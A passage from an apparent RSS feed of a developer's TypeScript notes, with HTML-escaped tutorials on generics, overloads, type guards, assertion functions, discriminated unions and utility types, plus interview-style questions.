&lt;pre&gt;&lt;code&gt;function longest&amp;lt;T extends { length: number }&amp;gt;(a: T, b: T): T {
  return a.length &amp;gt;= b.length ? a : b
}

longest(&apos;apple&apos;, &apos;fig&apos;) // string
longest([1, 2], [1, 2, 3]) // number[]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;keyof&lt;/code&gt;: a key of another parameter&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function pluck&amp;lt;T, K extends keyof T&amp;gt;(items: T[], key: K): T[K][] {
  return items.map((item) =&amp;gt; item[key])
}

const users = [{ name: &apos;Ada&apos;, age: 36 }]
pluck(users, &apos;name&apos;) // string[]
pluck(users, &apos;email&apos;) // error: &quot;email&quot; is not a key of the user
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;const&lt;/code&gt; type parameters&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;const&lt;/code&gt; keeps literal types instead of widening them (TypeScript 5.0+):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function routes&amp;lt;const T extends readonly string[]&amp;gt;(paths: T) {
  return paths
}

routes([&apos;/&apos;, &apos;/about&apos;]) // readonly [&apos;/&apos;, &apos;/about&apos;], not string[]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Generic arrow functions in &lt;code&gt;.tsx&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;In a &lt;code&gt;.tsx&lt;/code&gt; file, &lt;code&gt;&amp;lt;T&amp;gt;&lt;/code&gt; before an arrow function looks like JSX. Add a comma:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const identity = &amp;lt;T,&amp;gt;(value: T) =&amp;gt; value
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Overloads&lt;/h2&gt;
&lt;p&gt;Overloads let one function have different signatures, when the return type depends on the arguments in a way a union can&apos;t express. Write the public signatures first, then one implementation that handles them all:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function parse(value: string): number
function parse(value: string[]): number[]
function parse(value: string | string[]): number | number[] {
  return Array.isArray(value) ? value.map(Number) : Number(value)
}

parse(&apos;42&apos;) // number
parse([&apos;1&apos;, &apos;2&apos;]) // number[]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The implementation signature is hidden: callers only see the overloads above it.&lt;/p&gt;
&lt;p&gt;Try a union or a generic first. Overloads are only needed when the return type &lt;strong&gt;depends&lt;/strong&gt; on which argument type came in, as above.&lt;/p&gt;
&lt;h2&gt;Typing &lt;code&gt;this&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Declare &lt;code&gt;this&lt;/code&gt; as a fake first parameter. It&apos;s removed from the output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function onClick(this: HTMLButtonElement, event: MouseEvent) {
  this.disabled = true
}

button.addEventListener(&apos;click&apos;, onClick)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Arrow functions don&apos;t have their own &lt;code&gt;this&lt;/code&gt;, so they can&apos;t declare one.&lt;/p&gt;
&lt;h2&gt;Async functions&lt;/h2&gt;
&lt;p&gt;An &lt;code&gt;async&lt;/code&gt; function always returns a &lt;code&gt;Promise&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async function getUser(id: string): Promise&amp;lt;User&amp;gt; {
  const res = await fetch(`/api/users/${id}`)
  if (!res.ok) throw new Error(`Failed: ${res.status}`)
  return res.json()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;res.json()&lt;/code&gt; returns &lt;code&gt;Promise&amp;lt;any&amp;gt;&lt;/code&gt;, so the &lt;code&gt;Promise&amp;lt;User&amp;gt;&lt;/code&gt; return type is what gives callers a real type. That&apos;s a promise you&apos;re making, not a check. See &lt;a href=&quot;/notes/typescript-type-guard/&quot;&gt;type guards&lt;/a&gt; for validating the data.&lt;/p&gt;
&lt;h2&gt;Type guards and assertion functions&lt;/h2&gt;
&lt;p&gt;Two special return types narrow the argument for the caller:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function isString(value: unknown): value is string {
  return typeof value === &apos;string&apos;
}

function assertIsString(value: unknown): asserts value is string {
  if (typeof value !== &apos;string&apos;) throw new Error(&apos;Not a string&apos;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Full details in &lt;a href=&quot;/notes/typescript-type-guard/&quot;&gt;TypeScript type guards and narrowing&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Getting types from functions&lt;/h2&gt;
&lt;p&gt;Reuse a function&apos;s types without writing them again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function createUser(name: string, age: number) {
  return { id: crypto.randomUUID(), name, age }
}

type NewUser = ReturnType&amp;lt;typeof createUser&amp;gt; // { id: string; name: string; age: number }
type CreateUserArgs = Parameters&amp;lt;typeof createUser&amp;gt; // [name: string, age: number]

type LoadedUser = Awaited&amp;lt;ReturnType&amp;lt;typeof getUser&amp;gt;&amp;gt; // unwraps the Promise
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More utility types in the &lt;a href=&quot;/notes/typescript/&quot;&gt;TypeScript&lt;/a&gt; note.&lt;/p&gt;
&lt;h2&gt;React event handlers&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function Search() {
  const onChange = (event: React.ChangeEvent&amp;lt;HTMLInputElement&amp;gt;) =&amp;gt; {
    console.log(event.target.value)
  }

  const onSubmit = (event: React.FormEvent&amp;lt;HTMLFormElement&amp;gt;) =&amp;gt; {
    event.preventDefault()
  }

  return (
    &amp;lt;form onSubmit={onSubmit}&amp;gt;
      &amp;lt;input onChange={onChange} /&amp;gt;
    &amp;lt;/form&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To pass a handler as a prop, reuse the element&apos;s own type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Props = { onClick: React.ComponentProps&amp;lt;&apos;button&apos;&amp;gt;[&apos;onClick&apos;] }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or write the handler inline: TypeScript infers the event type from the JSX attribute.&lt;/p&gt;
&lt;h2&gt;Common interview questions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What&apos;s the difference between &lt;code&gt;unknown&lt;/code&gt; and &lt;code&gt;any&lt;/code&gt;?&lt;/strong&gt; &lt;code&gt;any&lt;/code&gt; turns checking off. &lt;code&gt;unknown&lt;/code&gt; forces you to narrow before use.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What&apos;s &lt;code&gt;never&lt;/code&gt;?&lt;/strong&gt; The type with no values: a function that never returns, or a case that can&apos;t happen (exhaustive checks).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;void&lt;/code&gt; vs &lt;code&gt;undefined&lt;/code&gt;?&lt;/strong&gt; &lt;code&gt;void&lt;/code&gt; means the return value is ignored. &lt;code&gt;undefined&lt;/code&gt; is an actual value.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why use generics?&lt;/strong&gt; To keep the link between input and output types without &lt;code&gt;any&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;When would you use overloads?&lt;/strong&gt; When the return type depends on the argument type in a way a union or generic can&apos;t express.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What&apos;s a type guard?&lt;/strong&gt; A runtime check that narrows a type in that branch. See &lt;a href=&quot;/notes/typescript-type-guard/&quot;&gt;type guards&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>typescript</category><category>interview</category><author>Zander Martineau</author></item><item><title>TypeScript type guards and narrowing</title><link>https://zander.wtf/notes/typescript-type-guard/</link><guid isPermaLink="true">https://zander.wtf/notes/typescript-type-guard/</guid><description>Narrowing is TypeScript working out a more specific type inside a block of code, based on a check you made. A type guard is that check. It runs at runtime…</description><pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Narrowing&lt;/strong&gt; is TypeScript working out a more specific type inside a block of code, based on a check you made. A &lt;strong&gt;type guard&lt;/strong&gt; is that check. It runs at runtime (it&apos;s real JavaScript), and TypeScript uses it to narrow the type at compile time.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function format(value: string | number) {
  // value: string | number
  if (typeof value === &apos;string&apos;) {
    return value.toUpperCase() // value: string
  }
  return value.toFixed(2) // value: number
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;In an interview, one sentence:&lt;/strong&gt; &quot;A type guard is a runtime check, like &lt;code&gt;typeof&lt;/code&gt;, &lt;code&gt;instanceof&lt;/code&gt;, &lt;code&gt;in&lt;/code&gt; or a function that returns &lt;code&gt;value is Type&lt;/code&gt;, that tells TypeScript a value&apos;s type is narrower inside that branch.&quot;&lt;/p&gt;
&lt;p&gt;Common narrowing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;unknown&lt;/code&gt; or &lt;code&gt;any&lt;/code&gt; → &lt;code&gt;string&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;string | object | number&lt;/code&gt; → &lt;code&gt;string&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;number | null | undefined&lt;/code&gt; → &lt;code&gt;number&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Cat | Dog&lt;/code&gt; → &lt;code&gt;Cat&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Built-in type guards&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;typeof&lt;/code&gt;: primitives&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function double(value: string | number) {
  if (typeof value === &apos;number&apos;) return value * 2
  return value.repeat(2)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;typeof&lt;/code&gt; returns &lt;code&gt;&apos;string&apos;&lt;/code&gt;, &lt;code&gt;&apos;number&apos;&lt;/code&gt;, &lt;code&gt;&apos;bigint&apos;&lt;/code&gt;, &lt;code&gt;&apos;boolean&apos;&lt;/code&gt;, &lt;code&gt;&apos;symbol&apos;&lt;/code&gt;, &lt;code&gt;&apos;undefined&apos;&lt;/code&gt;, &lt;code&gt;&apos;object&apos;&lt;/code&gt; or &lt;code&gt;&apos;function&apos;&lt;/code&gt;. Careful: &lt;code&gt;typeof null === &apos;object&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Truthiness&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function greet(name?: string) {
  if (name) return `Hi ${name}` // name: string
  return &apos;Hi there&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This also rules out &lt;code&gt;&apos;&apos;&lt;/code&gt;. If an empty string (or &lt;code&gt;0&lt;/code&gt;) is a valid value, check &lt;code&gt;!== undefined&lt;/code&gt; instead.&lt;/p&gt;
&lt;h3&gt;Equality&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function example(x: string | number, y: string | boolean) {
  if (x === y) {
    x.toUpperCase() // both must be string
  }
}

function len(value: string | null) {
  if (value === null) return 0
  return value.length // value: string
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;value != null&lt;/code&gt; (loose) rules out both &lt;code&gt;null&lt;/code&gt; and &lt;code&gt;undefined&lt;/code&gt; in one check.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;instanceof&lt;/code&gt;: classes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function describe(value: Date | string) {
  if (value instanceof Date) return value.toISOString()
  return value
}

try {
  riskyThing()
} catch (error) {
  // error: unknown
  if (error instanceof Error) console.error(error.message)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;in&lt;/code&gt;: does it have this property?&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type Fish = { swim: () =&amp;gt; void }
type Bird = { fly: () =&amp;gt; void }

function move(animal: Fish | Bird) {
  if (&apos;swim&apos; in animal) return animal.swim() // animal: Fish
  return animal.fly() // animal: Bird
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;in&lt;/code&gt; also narrows &lt;code&gt;unknown&lt;/code&gt; objects: after &lt;code&gt;typeof data === &apos;object&apos; &amp;amp;&amp;amp; data !== null &amp;amp;&amp;amp; &apos;id&apos; in data&lt;/code&gt;, TypeScript knows &lt;code&gt;data.id&lt;/code&gt; exists (as &lt;code&gt;unknown&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Array.isArray&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function toArray(value: string | string[]) {
  return Array.isArray(value) ? value : [value]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Discriminated unions&lt;/h2&gt;
&lt;p&gt;The most useful pattern. Give every member of a union the same property with a different literal value (the &lt;strong&gt;discriminant&lt;/strong&gt;). Checking that property narrows to one member.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type State =
  | { status: &apos;loading&apos; }
  | { status: &apos;error&apos;; error: Error }
  | { status: &apos;success&apos;; data: string[] }

function render(state: State) {
  switch (state.status) {
    case &apos;loading&apos;:
      return &apos;Loading…&apos;
    case &apos;error&apos;:
      return state.error.message // only exists on the error member
    case &apos;success&apos;:
      return state.data.join(&apos;, &apos;)
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is why React Query, reducers and API results often use &lt;code&gt;status&lt;/code&gt; or &lt;code&gt;type&lt;/code&gt; fields. You can&apos;t read &lt;code&gt;data&lt;/code&gt; until you&apos;ve checked the status.&lt;/p&gt;
&lt;h3&gt;Exhaustive checks with &lt;code&gt;never&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;If every case is handled, the value in the &lt;code&gt;default&lt;/code&gt; branch has type &lt;code&gt;never&lt;/code&gt;. Assign it to &lt;code&gt;never&lt;/code&gt;: when someone adds a new member to the union, this line stops compiling and shows where to handle it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function render(state: State) {
  switch (state.status) {
    case &apos;loading&apos;:
      return &apos;Loading…&apos;
    case &apos;error&apos;:
      return state.error.message
    case &apos;success&apos;:
      return state.data.join(&apos;, &apos;)
    default: {
      const unhandled: never = state
      throw new Error(`Unhandled status: ${JSON.stringify(unhandled)}`)
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Custom type guards: &lt;code&gt;value is Type&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;When the built-in checks aren&apos;t enough, write a function that returns a &lt;strong&gt;type predicate&lt;/strong&gt;: &lt;code&gt;value is Type&lt;/code&gt;. If it returns &lt;code&gt;true&lt;/code&gt;, TypeScript narrows the argument to &lt;code&gt;Type&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;String&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const isString = (value: unknown): value is string =&amp;gt; {
  return typeof value === &apos;string&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Number&lt;/h3&gt;
&lt;p&gt;This rules out &lt;code&gt;NaN&lt;/code&gt;, &lt;code&gt;Infinity&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt; and &lt;code&gt;undefined&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const isFiniteNumber = (value: unknown): value is number =&amp;gt; {
  return typeof value === &apos;number&apos; &amp;amp;&amp;amp; Number.isFinite(value)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;describe(&apos;isFiniteNumber&apos;, () =&amp;gt; {
  it(&apos;should return true&apos;, () =&amp;gt; {
    expect(isFiniteNumber(-1000)).toBe(true)
    expect(isFiniteNumber(0)).toBe(true)
    expect(isFiniteNumber(10)).toBe(true)
    expect(isFiniteNumber(Number.MAX_VALUE)).toBe(true)
  })
  it(&apos;should return false&apos;, () =&amp;gt; {
    expect(isFiniteNumber(Infinity)).toBe(false)
    expect(isFiniteNumber(NaN)).toBe(false)
    expect(isFiniteNumber(undefined)).toBe(false)
    expect(isFiniteNumber(null)).toBe(false)
    expect(isFiniteNumber(&apos;Some value&apos;)).toBe(false)
    expect(isFiniteNumber({ some: &apos;value&apos; })).toBe(false)
    expect(isFiniteNumber(() =&amp;gt; 20)).toBe(false)
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;isDefined&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const isDefined = &amp;lt;Value&amp;gt;(value: Value | undefined | null): value is Value =&amp;gt; {
  return value !== null &amp;amp;&amp;amp; value !== undefined
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;An object from an API&lt;/h3&gt;
&lt;p&gt;Data from &lt;code&gt;fetch&lt;/code&gt; or &lt;code&gt;JSON.parse&lt;/code&gt; has no real type. Accept &lt;code&gt;unknown&lt;/code&gt; and check it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type User = { id: number; name: string }

function isUser(value: unknown): value is User {
  return (
    typeof value === &apos;object&apos; &amp;amp;&amp;amp;
    value !== null &amp;amp;&amp;amp;
    &apos;id&apos; in value &amp;amp;&amp;amp;
    typeof value.id === &apos;number&apos; &amp;amp;&amp;amp;
    &apos;name&apos; in value &amp;amp;&amp;amp;
    typeof value.name === &apos;string&apos;
  )
}

const data: unknown = await res.json()
if (isUser(data)) {
  data.name // data: User
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For anything bigger than a few fields, use a schema library such as &lt;a href=&quot;https://zod.dev&quot;&gt;Zod&lt;/a&gt; or &lt;a href=&quot;https://valibot.dev&quot;&gt;Valibot&lt;/a&gt;. A schema gives you the check &lt;strong&gt;and&lt;/strong&gt; the type from one definition, so they can&apos;t drift apart:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { z } from &apos;zod&apos;

const User = z.object({ id: z.number(), name: z.string() })
type User = z.infer&amp;lt;typeof User&amp;gt;

const user = User.parse(await res.json()) // throws if the shape is wrong
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Filtering arrays&lt;/h3&gt;
&lt;p&gt;A type predicate works as a &lt;code&gt;filter&lt;/code&gt; callback, and the result type narrows too:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const values = [&apos;a&apos;, undefined, &apos;b&apos;, null]

const strings = values.filter(isDefined) // string[]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since TypeScript 5.5, TypeScript &lt;strong&gt;infers&lt;/strong&gt; the predicate for simple arrow functions, so you often don&apos;t need to write one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const strings = values.filter((value) =&amp;gt; value != null) // string[] in TS 5.5+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;A type guard can lie&lt;/h3&gt;
&lt;p&gt;TypeScript trusts your predicate completely. It doesn&apos;t check that the function body matches the type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const isNumber = (value: unknown): value is number =&amp;gt; true // compiles, but wrong
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keep guards small, and test them (like &lt;code&gt;isFiniteNumber&lt;/code&gt; above).&lt;/p&gt;
&lt;h2&gt;Assertion functions: &lt;code&gt;asserts value is Type&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;An assertion function &lt;strong&gt;throws&lt;/strong&gt; if the check fails, instead of returning a boolean. After the call, TypeScript treats the value as narrowed for the rest of the scope, with no &lt;code&gt;if&lt;/code&gt; needed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function assertIsDefined&amp;lt;T&amp;gt;(value: T, message = &apos;Value is not defined&apos;): asserts value is NonNullable&amp;lt;T&amp;gt; {
  if (value === null || value === undefined) throw new Error(message)
}

const root = document.getElementById(&apos;root&apos;) // HTMLElement | null
assertIsDefined(root, &apos;#root is missing&apos;)
root.append(&apos;Hello&apos;) // root: HTMLElement
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A plain &lt;code&gt;asserts condition&lt;/code&gt; version works like Node&apos;s &lt;code&gt;assert&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function assert(condition: unknown, message = &apos;Assertion failed&apos;): asserts condition {
  if (!condition) throw new Error(message)
}

assert(typeof id === &apos;string&apos;, &apos;id must be a string&apos;)
id.toUpperCase() // id: string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Assertion functions must be declared with an explicit type (a &lt;code&gt;function&lt;/code&gt; declaration, or a &lt;code&gt;const&lt;/code&gt; with a type annotation). A plain arrow function assigned to an un-annotated &lt;code&gt;const&lt;/code&gt; doesn&apos;t work as an assertion.&lt;/p&gt;
&lt;h2&gt;Type guard vs assertion function vs &lt;code&gt;as&lt;/code&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Type guard&lt;/th&gt;
&lt;th&gt;Assertion function&lt;/th&gt;
&lt;th&gt;&lt;code&gt;as&lt;/code&gt; (type assertion)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Signature&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(v): v is T&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(v): asserts v is T&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;value as T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Runtime check&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;none&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;On failure&lt;/td&gt;
&lt;td&gt;returns &lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;throws&lt;/td&gt;
&lt;td&gt;nothing: bugs later&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Use with&lt;/td&gt;
&lt;td&gt;&lt;code&gt;if&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, ternaries&lt;/td&gt;
&lt;td&gt;validating inputs at the start&lt;/td&gt;
&lt;td&gt;last resort, when you know more than TypeScript&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;as&lt;/code&gt; doesn&apos;t check or convert anything. It only tells TypeScript to trust you. Prefer a guard.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;unknown&lt;/code&gt; vs &lt;code&gt;any&lt;/code&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;any&lt;/code&gt; turns type checking &lt;strong&gt;off&lt;/strong&gt;. You can do anything with it, and mistakes aren&apos;t caught.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;unknown&lt;/code&gt; means &quot;could be anything, so check first&quot;. You can&apos;t use it until you narrow it with a type guard.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Use &lt;code&gt;unknown&lt;/code&gt; for data from outside (API responses, &lt;code&gt;JSON.parse&lt;/code&gt;, &lt;code&gt;catch&lt;/code&gt; errors), then narrow it.&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type guard&lt;/th&gt;
&lt;th&gt;Use it to&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Truthiness&lt;/td&gt;
&lt;td&gt;rule out &lt;code&gt;null&lt;/code&gt;, &lt;code&gt;undefined&lt;/code&gt;, &lt;code&gt;&apos;&apos;&lt;/code&gt;, &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Equality (&lt;code&gt;===&lt;/code&gt;, &lt;code&gt;!= null&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;narrow to a literal, or rule out &lt;code&gt;null&lt;/code&gt;/&lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;typeof&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;narrow to a primitive (&lt;code&gt;string&lt;/code&gt;, &lt;code&gt;number&lt;/code&gt;, …)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;instanceof&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;narrow to a class (&lt;code&gt;Date&lt;/code&gt;, &lt;code&gt;Error&lt;/code&gt;, …)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;in&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;check a property exists; tell object types apart&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array.isArray&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;tell arrays from single values&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discriminated union&lt;/td&gt;
&lt;td&gt;narrow a union on a shared &lt;code&gt;status&lt;/code&gt;/&lt;code&gt;type&lt;/code&gt; field&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;value is T&lt;/code&gt; function&lt;/td&gt;
&lt;td&gt;reusable custom checks, &lt;code&gt;filter&lt;/code&gt; callbacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;asserts value is T&lt;/code&gt; function&lt;/td&gt;
&lt;td&gt;throw if an invariant is false, then carry on&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Related: &lt;a href=&quot;/notes/type-check-helpers/&quot;&gt;type check helpers&lt;/a&gt;, &lt;a href=&quot;/notes/typescript-functions/&quot;&gt;TypeScript functions&lt;/a&gt;, &lt;a href=&quot;/notes/typescript/&quot;&gt;TypeScript&lt;/a&gt;, &lt;a href=&quot;/notes/typescript-catch/&quot;&gt;typing &lt;code&gt;catch&lt;/code&gt; errors&lt;/a&gt;.&lt;/p&gt;
</content:encoded><category>typescript</category><category>interview</category><author>Zander Martineau</author></item><item><title>TypeScript</title><link>https://zander.wtf/notes/typescript/</link><guid isPermaLink="true">https://zander.wtf/notes/typescript/</guid><description>TypeScript Deep Dive The tsconfig Schema: http://json.schemastore.org/tsconfig Related: type guards and narrowing, TypeScript functions. Built-in utility…</description><pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://basarat.gitbook.io/typescript/&quot;&gt;TypeScript Deep Dive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The tsconfig Schema: http://json.schemastore.org/tsconfig&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Related: &lt;a href=&quot;/notes/typescript-type-guard/&quot;&gt;type guards and narrowing&lt;/a&gt;, &lt;a href=&quot;/notes/typescript-functions/&quot;&gt;TypeScript functions&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Built-in utility types&lt;/h2&gt;
&lt;p&gt;https://www.typescriptlang.org/docs/handbook/utility-types.html&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Make all properties in T optional
 */
type Partial&amp;lt;T&amp;gt; = {
  [P in keyof T]?: T[P]
}
// e.g.
Partial&amp;lt;Todo&amp;gt;

/**
 * Make all properties in T required
 */
type Required&amp;lt;T&amp;gt; = {
  [P in keyof T]-?: T[P]
}
// e.g.
Required&amp;lt;Props&amp;gt;

/**
 * Make all properties in T readonly
 */
type Readonly&amp;lt;T&amp;gt; = {
  readonly [P in keyof T]: T[P]
}
// e.g.
Readonly&amp;lt;Todo&amp;gt;

/**
 * From T, pick a set of properties whose keys are in the union K
 */
type Pick&amp;lt;T, K extends keyof T&amp;gt; = {
  [P in K]: T[P]
}
// e.g.
Pick&amp;lt;Todo, &apos;title&apos; | &apos;completed&apos;&amp;gt;

/**
 * Construct a type with a set of properties K of type T
 */
type Record&amp;lt;K extends keyof any, T&amp;gt; = {
  [P in K]: T
}
// e.g.
Record&amp;lt;string, number&amp;gt;
Record&amp;lt;string, string[]&amp;gt;
Record&amp;lt;
  string,
  {
    age: string
  }
&amp;gt;

/**
 * Exclude from T those types that are assignable to U
 */
type Exclude&amp;lt;T, U&amp;gt; = T extends U ? never : T
// e.g.
Exclude&amp;lt;&apos;a&apos; | &apos;b&apos; | &apos;c&apos;, &apos;a&apos;&amp;gt;

/**
 * Extract from T those types that are assignable to U
 */
type Extract&amp;lt;T, U&amp;gt; = T extends U ? T : never
// e.g.
Extract&amp;lt;&apos;a&apos; | &apos;b&apos; | &apos;c&apos;, &apos;a&apos; | &apos;f&apos;&amp;gt;

/**
 * Construct a type with the properties of T except for those in type K.
 */
type Omit&amp;lt;T, K extends keyof any&amp;gt; = Pick&amp;lt;T, Exclude&amp;lt;keyof T, K&amp;gt;&amp;gt;
// e.g.
Omit&amp;lt;Todo, &apos;completed&apos; | &apos;createdAt&apos;&amp;gt;

/**
 * Exclude null and undefined from T
 */
type NonNullable&amp;lt;T&amp;gt; = T extends null | undefined ? never : T
// e.g.
NonNullable&amp;lt;string | number | undefined&amp;gt;

/**
 * Constructs a tuple type from the types used in the parameters of a function type Type.
